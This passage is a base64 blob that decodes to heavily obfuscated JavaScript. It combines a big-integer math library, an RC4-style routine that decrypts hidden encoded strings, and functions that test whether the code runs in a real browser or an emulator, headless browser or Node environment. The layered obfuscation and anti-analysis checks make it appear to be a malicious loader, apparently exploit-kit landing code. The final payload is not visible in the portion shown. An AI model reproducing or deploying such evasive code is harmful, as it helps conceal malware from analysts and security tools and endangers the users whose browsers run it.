8PSAwKSByZXR1cm4gMDsKIHJldHVybiB0aGlzLkRCKih0aGlzLnQtMSkrSWwxSUUodGhpc1t0aGlzLnQtMV1eKHRoaXMucyZ0aGlzLkRNKSk7CiB9CgogZnVuY3Rpb24gSWwxSUtibihuLHIpIHsKIHZhciBpOwogZm9yKGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaStuXSA9IHRoaXNbaV07CiBmb3IoaSA9IG4tMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSAwOwogci50ID0gdGhpcy50K247CiByLnMgPSB0aGlzLnM7CiB9CgogZnVuY3Rpb24gSWwxSU9ibihuLHIpIHsKIGZvcih2YXIgaSA9IG47IGkgPCB0aGlzLnQ7ICsraSkgcltpLW5dID0gdGhpc1tpXTsKIHIudCA9IElsMUliLm1heCh0aGlzLnQtbiwwKTsKIHIucyA9IHRoaXMuczsKIH0KCiBmdW5jdGlvbiBJbDFJUmJuKG4scikgewogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8Y2JzKS0xOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpLCBjID0gKHRoaXMuczw8YnMpJnRoaXMuRE0sIGk7CiBmb3IoaSA9IHRoaXMudC0xOyBpID49IDA7IC0taSkgewogcltpK2RzKzFdID0gKHRoaXNbaV0+PmNicyl8YzsKIGMgPSAodGhpc1tpXSZibSk8PGJzOwogfQogZm9yKGkgPSBkcy0xOyBpID49IDA7IC0taSkgcltpXSA9IDA7CiByW2RzXSA9IGM7CiByLnQgPSB0aGlzLnQrZHMrMTsKIHIucyA9IHRoaXMuczsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJU2JuKG4scikgewogci5zID0gdGhpcy5zOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpOwogaWYoZHMgPj0gdGhpcy50KSB7IHIudCA9IDA7IHJldHVybjsgfQogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8YnMpLTE7CiByWzBdID0gdGhpc1tkc10+PmJzOwogZm9yKHZhciBpID0gZHMrMTsgaSA8IHRoaXMudDsgKytpKSB7CiByW2ktZHMtMV0gfD0gKHRoaXNbaV0mYm0pPDxjYnM7CiByW2ktZHNdID0gdGhpc1tpXT4+YnM7CiB9CiBpZihicyA+IDApIHJbdGhpcy50LWRzLTFdIHw9ICh0aGlzLnMmYm0pPDxjYnM7CiByLnQgPSB0aGlzLnQtZHM7CiByLklsMUlOKCk7CiB9CgogZnVuY3Rpb24gSWwxSU1ibihhLHIpIHsKIHZhciBpID0gMCwgYyA9IDAsIG0gPSBNYXRoLm1pbihhLnQsdGhpcy50KTsKIHdoaWxlKGkgPCBtKSB7CiBjICs9IHRoaXNbaV0tYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBpZihhLnQgPCB0aGlzLnQpIHsKIGMgLT0gYS5zOwogd2hpbGUoaSA8IHRoaXMudCkgewogYyArPSB0aGlzW2ldOwogcltpKytdID0gYyZ0aGlzLkRNOwogYyA+Pj0gdGhpcy5EQjsKIH0KIGMgKz0gdGhpcy5zOwogfQogZWxzZSB7CiBjICs9IHRoaXMuczsKIHdoaWxlKGkgPCBhLnQpIHsKIGMgLT0gYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBjIC09IGEuczsKIH0KIHIucyA9IChjPDApPy0xOjA7CiBpZihjIDwgLTEpIHJbaSsrXSA9IHRoaXMuRFYrYzsKIGVsc2UgaWYoYyA+IDApIHJbaSsrXSA9IGM7CiByLnQgPSBpOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlJYm4oYSxyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKSwgeSA9IGEuSWwxSWxsMWEoKTsKIHZhciBpID0geC50Owogci50ID0gaSt5LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB5LnQ7ICsraSkgcltpK3gudF0gPSB4LmFtKDAseVtpXSxyLGksMCx4LnQpOwogci5zID0gMDsKIHIuSWwxSU4oKTsKIGlmKHRoaXMucyAhPSBhLnMpIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSUpibihyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKTsKIHZhciBpID0gci50ID0gMip4LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB4LnQtMTsgKytpKSB7CiB2YXIgYyA9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiBpZigocltpK3gudF0rPXguYW0oaSsxLDIqeFtpXSxyLDIqaSsxLGMseC50LWktMSkpID49IHguRFYpIHsKIHJbaSt4LnRdIC09IHguRFY7CiByW2kreC50KzFdID0gMTsKIH0KIH0KIGlmKHIudCA+IDApIHJbci50LTFdICs9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiByLnMgPSAwOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlIYm4obSxxLHIpIHsKIHZhciBwbSA9IG0uSWwxSWxsMWEoKTsKIGlmKHBtLnQgPD0gMCkgcmV0dXJuOwogdmFyIHB0ID0gdGhpcy5JbDFJbGwxYSgpOwogaWYocHQudCA8IHBtLnQpIHsKIGlmKHEgIT0gbnVsbCkgcS5JbDFJRCgwKTsKIGlmKHIgIT0gbnVsbCkgdGhpc1tJbDFJZV0ocik7CiByZXR1cm47CiB9CiBpZihyID09IG51bGwpIHIgPSBJbDFJeCgpOwogdmFyIHkgPSBJbDFJeCgpLCB0cyA9IHRoaXMucywgbXMgPSBtLnM7CiB2YXIgbnNoID0gdGhpcy5EQi1JbDFJRShwbVtwbS50LTFdKTsKIGlmKG5zaCA+IDApIHsgcG0uSWwxSVIobnNoLHkpOyBwdC5JbDFJUihuc2gscik7IH0KIGVsc2UgeyBwbVtJbDFJZV0oeSk7IHB0W0lsMUllXShyKTsgfQogdmFyIHlzID0geS50OwogdmFyIHkwID0geVt5cy0xXTsKIGlmKHkwID09IDApIHJldHVybjsKIHZhciB5dCA9IHkwKigxPDx0aGlzLkYxKSsoKHlzPjEpP3lbeXMtMl0+PnRoaXMuRjI6MCk7CiB2YXIgZDEgPSB0aGlzLkZWL3l0LCBkMiA9ICgxPDx0aGlzLkYxKS95dCwgZSA9IDE8PHRoaXMuRjI7CiB2YXIgaSA9IHIudCwgaiA9IGkteXMsIHQgPSAocT09bnVsbCk/SWwxSXgoKTpxOwogeS5JbDFJSyhqLHQpOwogaWYoci5JbDFJRyh0KSA+PSAwKSB7CiByW3IudCsrXSA9IDE7CiByLklsMUlNKHQscik7CiB9CiBJbDFJVC5JbDFJSyh5cyx0KTsKIHQuSWwxSU0oeSx5KTsKIHdoaWxlKHkudCA8IHlzKSB5W3kudCsrXSA9IDA7CiB3aGlsZSgtLWogPj0gMCkgewogdmFyIHFkID0gKHJbLS1pXT09eTApP3RoaXMuRE06TWF0aC5mbG9vcihyW2ldKmQxKyhyW2ktMV0rZSkqZDIpOwogaWYoKHJbaV0rPXkuYW0oMCxxZCxyLGosMCx5cykpIDwgcWQpIHsKIHkuSWwxSUsoaix0KTsKIHIuSWwxSU0odCxyKTsKIHdoaWxlKHJbaV0gPCAtLXFkKSByLklsMUlNKHQscik7CiB9CiB9CiBpZihxICE9IG51bGwpIHsKIHIuSWwxSU8oeXMscSk7CiBpZih0cyAhPSBtcykgSWwxSUwuSWwxSU0ocSxxKTsKIH0KIHIudCA9IHlzOwogci5JbDFJTigpOwogaWYobnNoID4gMCkgci5JbDFJUyhuc2gscik7CiBpZih0cyA8IDApIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSVVibigpIHsgcmV0dXJuICgodGhpcy50PjApPyh0aGlzWzBdJjEpOnRoaXMucykgPT0gMDsgfQoKIElsMUlzID0gSWwxSXVbSWwxSWhdOwogSWwxSXMuY29weVRvID0gSWwxSWVibjsKIElsMUlzLklsMUlEID0gSWwxSURibjsKIElsMUlzLklsMUl3ID0gSWwxSXdibjsKIElsMUlzLklsMUlOID0gSWwxSU5ibjsKIElsMUlzLklsMUlLID0gSWwxSUtibjsKIElsMUlzLklsMUlPID0gSWwxSU9ibjsKIElsMUlzLklsMUlSID0gSWwxSVJibjsKIElsMUlzLklsMUlTID0gSWwxSVNibjsKIElsMUlzLklsMUlNID0gSWwxSU1ibjsKIElsMUlzLklsMUlJID0gSWwxSUlibjsKIElsMUlzLklsMUlKID0gSWwxSUpibjsKIElsMUlzLklsMUlIID0gSWwxSUhibjsKIElsMUlzLklsMUlsbDFlID0gSWwxSWxsMWVibjsKIElsMUlzLklsMUlVID0gSWwxSVVibjsKCiBJbDFJcy5JbDFJbGwxYyA9IElsMUlsbDFjYm47CiBJbDFJcy5JbDFJbGwxdCA9IElsMUlsbDF0Ym47CiBJbDFJcy5JbDFJbGwxZiA9IElsMUlsbDFmYm47CiBJbDFJcy5JbDFJbGwxbSA9IElsMUlsbDFtYm47CiBJbDFJcy5JbDFJbGwxbiA9IElsMUlsbDFuYm47CiBJbDFJcy5JbDFJbGwxaSA9IElsMUlsbDFpYm47CiBJbDFJcy5JbDFJbGwxbyA9IElsMUlsbDFvYm47CiBJbDFJcy50b1N0cmluZyA9IElsMUlsbDFzOwogSWwxSXMuSWwxSWxsMWEgPSBJbDFJbGwxYWJuOwogSWwxSXMuSWwxSUcgPSBJbDFJR2JuOwogSWwxSXMuSWwxSW1hID0gSWwxSW1hYm47CgogSWwxSUwgPSBJbDFJQygwKTsKIElsMUlUID0gSWwxSUMoMSk7CgogZnVuY3Rpb24gSWwxSWxsMWRibihhKSB7IHZhciByID0gSWwxSXgoKTsgdGhpcy5JbDFJSChhLHIsbnVsbCk7IHJldHVybiByOyB9CgogZnVuY3Rpb24gSWwxSWxsMWVibigpIHsKIGlmKHRoaXMudCA8IDEpIHJldHVybiAwOwogdmFyIHggPSB0aGlzWzBdOwogaWYoKHgmMSkgPT0gMCkgcmV0dXJuIDA7CiB2YXIgeSA9IHgmMzsKIHkgPSAoeSooMi0oeCYxNSkqeSkpJjE1OwogeSA9ICh5KigyLSh4JjI1NSkqeSkpJjI1NTsKIHkgPSAoeSooMi0oKCh4JjY1NTM1KSp5KSY2NTUzNSkpKSY2NTUzNTsKIHkgPSAoeSooMi14KnkldGhpcy5EVikpJXRoaXMuRFY7CiByZXR1cm4gKHk+MCk/dGhpcy5EVi15Oi15OwogfQoKIGZ1bmN0aW9uIElsMUlRYm4obix3KSB7CiBpZihuID09IDApIHJldHVybjsKIHdoaWxlKHRoaXMudCA8PSB3KSB0aGlzW3RoaXMudCsrXSA9IDA7CiB0aGlzW3ddICs9IG47CiB3aGlsZSh0aGlzW3ddID49IHRoaXMuRFYpIHsKIHRoaXNbd10gLT0gdGhpcy5EVjsKIGlmKCsrdyA+PSB0aGlzLnQpIHRoaXNbdGhpcy50KytdID0gMDsKICsrdGhpc1t3XTsKIH0KIH0KCiBmdW5jdGlvbiBJbDFJbGwxbWxibihhLG4scikgewogdmFyIGkgPSBNYXRoLm1pbih0aGlzLnQrYS50LG4pOwogci5zID0gMDsKIHIudCA9IGk7CiB3aGlsZShpID4gMCkgclstLWldID0gMDsKIHZhciBqOwogZm9yKGogPSByLnQtdGhpcy50OyBpIDwgajsgKytpKSByW2krdGhpcy50XSA9IHRoaXMuYW0oMCxhW2ldLHIsaSwwLHRoaXMudCk7CiBmb3IoaiA9IE1hdGgubWluKGEudCxuKTsgaSA8IGo7ICsraSkgdGhpcy5hbSgwLGFbaV0scixpLDAsbi1pKTsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbXVibihhLG4scikgewogLS1uOwogdmFyIGkgPSByLnQgPSB0aGlzLnQrYS50LW47CiByLnMgPSAwOwogd2hpbGUoLS1pID49IDApIHJbaV0gPSAwOwogZm9yKGkgPSBNYXRoLm1heChuLXRoaXMudCwwKTsgaSA8IGEudDsgKytpKQogclt0aGlzLnQraS1uXSA9IHRoaXMuYW0obi1pLGFbaV0sciwwLDAsdGhpcy50K2ktbik7CiByLklsMUlOKCk7CiByLklsMUlPKDEscik7CiB9CgogZnVuY3Rpb24gSWwxSWJhYm4oYSxiLGMpIHsKIHJldHVybiBudWxsOwogfQoKIGZ1bmN0aW9uIElsMUlGKG0pIHsgdGhpcy5tID0gbTsgfQogZnVuY3Rpb24gSWwxSUZwYSh4KSB7CiBpZih4LnMgPCAwIHx8IHguSWwxSUcodGhpcy5tKSA+PSAwKSByZXR1cm4geC5tb2QodGhpcy5tKTsKIGVsc2UgcmV0dXJuIHg7CiB9CgogZnVuY3Rpb24gSWwxSUZzYSh4KSB7IHJldHVybiB4OyB9CiBmdW5jdGlvbiBJbDFJRnJlKHgpIHsgeC5JbDFJSCh0aGlzLm0sbnVsbCx4KTsgfQogZnVuY3Rpb24gSWwxSUZqYSh4LHkscikgeyB4LklsMUlJKHkscik7IHRoaXNbSWwxSWZdKHIpOyB9CiBmdW5jdGlvbiBJbDFJRlAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogSWwxSXMgPSBJbDFJRltJbDFJaF07CiBJbDFJcy5wYSA9IElsMUlGcGE7CiBJbDFJcy5zYSA9IElsMUlGc2E7CiBJbDFJcy5yZWR1Y2UgPSBJbDFJRnJlOwogSWwxSXMuamEgPSBJbDFJRmphOwogSWwxSXMuUCA9IElsMUlGUDsKCiBmdW5jdGlvbiBJbDFJb2EobSkgewogdGhpcy5yMiA9IElsMUl4KCk7CiB0aGlzLnEzID0gSWwxSXgoKTsKIElsMUlULklsMUlLKDIqbS50LHRoaXMucjIpOwogdGhpcy5tdSA9IHRoaXMucjIuSWwxSWxsMWQobSk7CiB0aGlzLm0gPSBtOwogfQoKIGZ1bmN0aW9uIElsMUlvYXBhKHgpIHsKIGlmKHgucyA8IDAgfHwgeC50ID4gMip0aGlzLm0udCkgcmV0dXJuIHgubW9kKHRoaXMubSk7CiBlbHNlIGlmKHguSWwxSUcodGhpcy5tKSA8IDApIHJldHVybiB4OwogZWxzZSB7IHZhciByID0gSWwxSXgoKTsgeFtJbDFJZV0ocik7IHRoaXNbSWwxSWZdKHIpOyByZXR1cm4gcjsgfQogfQoKIGZ1bmN0aW9uIElsMUlvYXNhKHgpIHsgcmV0dXJuIHg7IH0KCiBmdW5jdGlvbiBJbDFJb2FyZSh4KSB7CiB4LklsMUlPKHRoaXMubS50LTEsdGhpcy5yMik7CiBpZih4LnQgPiB0aGlzLm0udCsxKSB7IHgudCA9IHRoaXMubS50KzE7IHguSWwxSU4oKTsgfQogdGhpcy5tdS5JbDFJbGwxbXUodGhpcy5yMix0aGlzLm0udCsxLHRoaXMucTMpOwogdGhpcy5tLklsMUlsbDFtbCh0aGlzLnEzLHRoaXMubS50KzEsdGhpcy5yMik7CiB3aGlsZSh4LklsMUlHKHRoaXMucjIpIDwgMCkgeC5JbDFJUSgxLHRoaXMubS50KzEpOwogeC5JbDFJTSh0aGlzLnIyLHgpOwogd2hpbGUoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlvYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSW9hamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSW9hW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSW9hcGE7CiBJbDFJcy5zYSA9IElsMUlvYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSW9hcmU7CiBJbDFJcy5qYSA9IElsMUlvYWphOwogSWwxSXMuUCA9IElsMUlvYVA7CgoKIGZ1bmN0aW9uIElsMUlpYShtKSB7CiB0aGlzLm0gPSBtOwogdGhpcy5tcCA9IG0uSWwxSWxsMWUoKTsKIHRoaXMubXBsID0gdGhpcy5tcCYzMjc2NzsKIHRoaXMubXBoID0gdGhpcy5tcD4+MTU7CiB0aGlzLnVtID0gKDE8PChtLkRCLTE1KSktMTsKIHRoaXMubXQyID0gMiptLnQ7CiB9CgogZnVuY3Rpb24gSWwxSWlhcGEoeCkgewogdmFyIHIgPSBJbDFJeCgpOwogeC5JbDFJbGwxYSgpLklsMUlLKHRoaXMubS50LHIpOwogci5JbDFJSCh0aGlzLm0sbnVsbCxyKTsKIGlmKHgucyA8IDAgJiYgci5JbDFJRyhJbDFJTCkgPiAwKSB0aGlzLm0uSWwxSU0ocixyKTsKIHJldHVybiByOwogfQoKIGZ1bmN0aW9uIElsMUlpYXNhKHgpIHsKIHZhciByID0gSWwxSXgoKTsKIHhbSWwxSWVdKHIpOwogdGhpc1tJbDFJZl0ocik7CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJaWFyZSh4KSB7CiB3aGlsZSh4LnQgPD0gdGhpcy5tdDIpCiB4W3gudCsrXSA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgdGhpcy5tLnQ7ICsraSkgewogdmFyIGogPSB4W2ldJjMyNzY3OwogdmFyIHUwID0gKGoqdGhpcy5tcGwrKCgoaip0aGlzLm1waCsoeFtpXT4+MTUpKnRoaXMubXBsKSZ0aGlzLnVtKTw8MTUpKSZ4LkRNOwogaiA9IGkrdGhpcy5tLnQ7CiB4W2pdICs9IHRoaXMubS5hbSgwLHUwLHgsaSwwLHRoaXMubS50KTsKIHdoaWxlKHhbal0gPj0geC5EVikgeyB4W2pdIC09IHguRFY7IHhbKytqXSsrOyB9CiB9CiB4LklsMUlOKCk7CiB4LklsMUlPKHRoaXMubS50LHgpOwogaWYoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlpYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSWlhamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSWlhW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSWlhcGE7CiBJbDFJcy5zYSA9IElsMUlpYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSWlhcmU7CiBJbDFJcy5qYSA9IElsMUlpYWphOwogSWwxSXMuUCA9IElsMUlpYVA7CgogZnVuY3Rpb24gSWwxSVhibihlLG0pIHsKIHZhciBpID0gZS5JbDFJbWEoKSwgaywgciA9IElsMUlDKDEpLCB6OwogaWYoaSA8PSAwKSByZXR1cm4gcjsKIGVsc2UgaWYoaSA8IDE4KSBrID0gMTsKIGVsc2UgaWYoaSA8IDQ4KSBrID0gMzsKIGVsc2UgaWYoaSA8IDE0NCkgayA9IDQ7CiBlbHNlIGlmKGkgPCA3NjgpIGsgPSA1OwogZWxzZSBrID0gNjsKIGlmKGkgPCA4KQogeiA9IG5ldyBJbDFJRihtKTsKIGVsc2UgaWYobS5JbDFJVSgpKQogeiA9IG5ldyBJbDFJb2EobSk7CiBlbHNlCiB6ID0gbmV3IElsMUlpYShtKTsKCiB2YXIgZyA9IG5ldyBBcnJheSgpLCBuID0gMywgazEgPSBrLTEsIGttID0gKDE8PGspLTE7CiBnWzFdID0gei5wYSh0aGlzKTsKIGlmKGsgPiAxKSB7CiB2YXIgZzIgPSBJbDFJeCgpOwogei5QKGdbMV0sZzIpOwogd2hpbGUobiA8PSBrbSkgewogZ1tuXSA9IElsMUl4KCk7CiB6LmphKGcyLGdbbi0yXSxnW25dKTsKIG4gKz0gMjsKIH0KIH0KCiB2YXIgaiA9IGUudC0xLCB3LCBpczEgPSB0cnVlLCByMiA9IElsMUl4KCksIHQ7CiBpID0gSWwxSUUoZVtqXSktMTsKIHdoaWxlKGogPj0gMCkgewogaWYoaSA+PSBrMSkgdyA9IChlW2pdPj4oaS1rMSkpJmttOwogZWxzZSB7CiB3ID0gKGVbal0mKCgxPDwoaSsxKSktMSkpPDwoazEtaSk7CiBpZihqID4gMCkgdyB8PSBlW2otMV0+Pih0aGlzLkRCK2ktazEpOwogfQoKIG4gPSBrOwogd2hpbGUoKHcmMSkgPT0gMCkgeyB3ID4+PSAxOyAtLW47IH0KIGlmKChpIC09IG4pIDwgMCkgeyBpICs9IHRoaXMuREI7IC0tajsgfQogaWYoaXMxKSB7CiBnW3ddW0lsMUllXShyKTsKIGlzMSA9IGZhbHNlOwogfQogZWxzZSB7CiB3aGlsZShuID4gMSkgeyB6LlAocixyMik7IHouUChyMixyKTsgbiAtPSAyOyB9CiBpZihuID4gMCkgei5QKHIscjIpOyBlbHNlIHsgdCA9IHI7IHIgPSByMjsgcjIgPSB0OyB9CiB6LmphKHIyLGdbd10scik7CiB9Cgogd2hpbGUoaiA+PSAwICYmIChlW2pdJigxPDxpKSkgPT0gMCkgewogei5QKHIscjIpOyB0ID0gcjsgciA9IHIyOyByMiA9IHQ7CiBpZigtLWkgPCAwKSB7IGkgPSB0aGlzLkRCLTE7IC0tajsgfQogfQogfQogcmV0dXJuIHouc2Eocik7CiB9CgogSWwxSXMgPSBJbDFJdVtJbDFJaF0KIElsMUlzLklsMUlRID0gSWwxSVFibjsKIElsMUlzLklsMUlsbDFtbCA9IElsMUlsbDFtbGJuOwogSWwxSXMuSWwxSWxsMW11ID0gSWwxSWxsMW11Ym47CiBJbDFJcy5JbDFJYmEgPSBJbDFJYmFibjsKIElsMUlzLklsMUlsbDFkID0gSWwxSWxsMWRibjsKIElsMUlzLklsMUlYID0gSWwxSVhibjsKCiBpZiAodHlwZW9mIGV4cG9ydHMgIT09ICd1bmRlZmluZWQnKSB7CiBleHBvcnRzID0gbW9kdWxlLmV4cG9ydHMgPSB7CiBJbDFJdTogSWwxSXUsCiB9OwogfSBlbHNlIHsKIHRoaXMuSWwxSWxsbDFJMWwgPSB7CiBJbDFJdTpJbDFJdSAsCiB9OwogfQoKfSkuY2FsbCh0aGlzKTsKCmZ1bmN0aW9uIElsMUl0YSgpCnsKIGZvciAodmFyIGEgPSAnJzsgMzIgPiBhW0lsMUluXTspIHN3aXRjaCAoSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpKSkKIHsKIGNhc2UgMDoKIGEgKz0gSWwxSWNbSWwxSWxdKElsMUliW0lsMUlxXSg5ICogSWwxSWJbSWwxSWtdKCkpICsgNDgpOwogY2FzZSAxOgogYSArPSBJbDFJY1tJbDFJbF0oSWwxSWJbSWwxSXFdKDUgKiBJbDFJYltJbDFJa10oKSkgKyA2NSkKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeGEoKQp7CiB2YXIgYSA9ICcnOwogdmFyIGIgPSBJbDFJWShJbDFJYmJBYSlbSWwxSWJic3NdKChJbDFJYmJzbipJbDFJYmJzaStJbDFJYmJzbyksIChJbDFJYmJzbytJbDFJYmJzbikpOwogdmFyIGMgPSAoSWwxSWJic28rSWwxSWJic24pKklsMUliYnNpOwogZm9yKHZhciBpPTA7aTxjO2krKykKIHsKIGEgKz0gYltJbDFJal0oSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpICogYltJbDFJbl0pKTsKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeWEoKQp7CiB2YXIgSWwxSXUgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHRoaXMuTCA9IG5ldyBJbDFJdShJbDFJeGEoKSwgKElsMUliYnNvK0lsMUliYnNuKSk7CiB0aGlzLmljID0gbmV3IElsMUl1KElsMUl4YSgpLCAoSWwxSWJic28qMy1JbDFJYmJzaSkpOwogdGhpcy5oYSA9IG5ldyBJbDFJdShJbDFJdGEoKSwgKElsMUliYnNvKklsMUliYnNpK0lsMUliYnNpKklsMUliYnNpKSk7CiB0aGlzLkpiID0gdGhpcy5MLklsMUlYKHRoaXMuaWMsIHRoaXMuaGEpOwp9CgoKZnVuY3Rpb24gSWwxSXYoYSwgYikgewogYiA9IElsMUliYnNqKGIpOwogZm9yICh2YXIgYyA9IFtdLCBkID0gMCwgZSwgZiA9ICcnLCBnID0gMDsgMjU2ID4gZzsgZysrKSBjW2ddID0gZzsKIGZvciAoZyA9IDA7IDI1NiA+IGc7IGcrKykgZCA9IChkICsgY1tnXSArIGFbSWwxSXBdKGcgJSBhW0lsMUluXSkpICUgMjU2LCBlID0gY1tnXSwgY1tnXSA9IGNbZF0sIGNbZF0gPSBlOwogZm9yICh2YXIgaCA9IGQgPSBnID0gMDsgaCA8IGJbSWwxSW5dOyBoKyspIGcgPSAoZyArIDEpICUgMjU2LCBkID0gKGQgKyBjW2ddKSAlIDI1NiwgZSA9IGNbZ10sIGNbZ10gPSBjW2RdLCBjW2RdID0gZSwgZiArPSBJbDFJY1tJbDFJbF0oYltJbDFJcF0oaCkgXiBjWyhjW2ddICsgY1tkXSkgJSAyNTZdKTsKIHJldHVybiBmCn07CgoKSWwxSXNhID0gZnVuY3Rpb24oKSB7CiB0aGlzLmdXID0gJydbJz5fPCddKCdkJTEzJTA2JTVEJUEyJTlDUSVDOCUxNCVEMSVCQiVGMSU5RSU3RSVBMCVCRiUwRSVBNyU5OGwlRjAlRDMlOTYlMTAlN0JGJUU1JTlFJThFJTFFJUIxJTlFJTE1JUE4JUE3JUQyJThGdiVBQyUzQyVEQislOThKZSVDOSU5QSU5NCcsIDEyLCAxNywgMTU1KTsKIHRoaXMuWXcgPSAnJyBbJ28zbyddKCclQ0ZSJTE4JTAzJUU1JUJGJURFZiU4MCU5Qy4lRkEnLCAxNDAsIDksIDgxKTsKIHRoaXMuZGMgPSAnJyBbJy0sLSddKCclRjVzJTlBZUklOENXJUMxRTRsJUNFJUQyNCUyMSVFMyVGRiU5M3klRDExJUVEJTE1JTAwJTI4NkclRTUlOEUlREFGJywgMTQ4LCA5LCAyMDcpOwogdGhpcy5LSiA9ICcnIFsnT3J6J10oJyVGNyVBRSUyMC8lOEQlOUIlRjYlQTJwTCVEOCVBNCUyNDUnLCAxODAsIDEyOSwgMTMpOwp9CgoKSWwxSXdhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFhKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgYiA9IG9zOwogdmFyIGMgPSBwcmludDsKIGMoYlsnJyBbJz5fPCddKCclMEElRkIlQTAlRDglMjglOUInLCAxMjEsIDksIDY1KV0oJydbJ2xvbCddKCdLJURFJUFDbCcsIDQ2LCA5LCAzMSksIFsnJyBbJy0sLSddKCclOTYlNUUlN0YlMTFYJTVFJTAxJUEyJTlBMyVDOSU5QyUzQW0lQ0NaLyU1QyolN0IvJUZBNSVFOVUlMjglRkQ1JTFDJUM3JUNFJUFBWiVGRSUwMiVBMSVFNyVFOSVFRSU1RDIlOTgnLCAyMjMsIDksIDE2NyldKSk7CiBhID0gIUlsMUliYnN0OwogfSBjYXRjaChtKXthPWZhbHNlO307CiByZXR1cm4gYTsKIH07CgogZnVuY3Rpb24gSWwxSWwxSWwxYigpIHsKIHZhciBhID0gSWwxSWJic3Q7CiB0cnkgewogdmFyIGIgPSB3aW5kb3c7CiBpZiAodHlwZW9mIGIgPT09ICcnWydsb2wnXSgnJTA0JUM2JURGJTdGJTkzVSVGMSVFQiU1RCcsIDExMywgNSwgMTE1KSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeikge307CgogaWYgKCFhKQogewogdHJ5IHsKIHZhciBjID0gcHJvY2VzczsKIGlmICh0eXBlb2YgYyA9PT0gJydbJ09yeiddKCclMEMlN0MlREIlQjklM0MlOEUnLCA5OSwgOSwgMTYzKSAmJiBjICsgJycgPT09ICcnWyctLC0nXSgnJUVBJTAxJTk5MiVFMCVFMSUzQiVDQyUyOSVFNCVDQyVFM0glRDklODRJJywgMTc3LCAxNywgMTczKSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCh5KSB7fTsKIH0KIHJldHVybiBhOwogfTsKCiBmdW5jdGlvbiBJbDFJbDFJbDFjKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgZCA9IHdpbmRvdzsKIHZhciBlID0gZFsnJ1snT0dDJ10oJ2QlQ0JJJUREbXVYJTE4JTg3LicsIDExLCA1LCAxMzUpXTsKIHZhciBmID0gZFsnJ1snPl88J10oJyUzQWMlOTMlQUQlQ0IlRjIlQUUlODV6NiVEQicsIDg1LCAxNywgMTEzKV07CiBpZiAoZSA9PT0gMCAmJiBmID09PSAwKSAKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeCkge2EgPSB0cnVlfTsKCiBpZiAoIWEpCiB7CiB0cnkgewogdmFyIGcgPSB3aW5kb3c7CiBhID0gISFnWycnWydsb2wnXSgnZkslRjMlMDglMjklQjYlRjIlRjYlOTklRkQlRUEnLCA1LCAxNywgMjEzKV0KIH0gY2F0Y2ggKHcpIHt9OwogfQogcmV0dXJuIGE7CiB9OwoKIHRoaXMuTWkgPSBJbDFJbDFJbDFhKCk7CiB0aGlzLnBBID0gSWwxSWwxSWwxYigpOwogdGhpcy5DQSA9IElsMUlsMUlsMWMoKTsKfQoKSWwxSXFhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFkKGEsYikgewogaWYgKGE8MC4wMDAwMDAwMSkge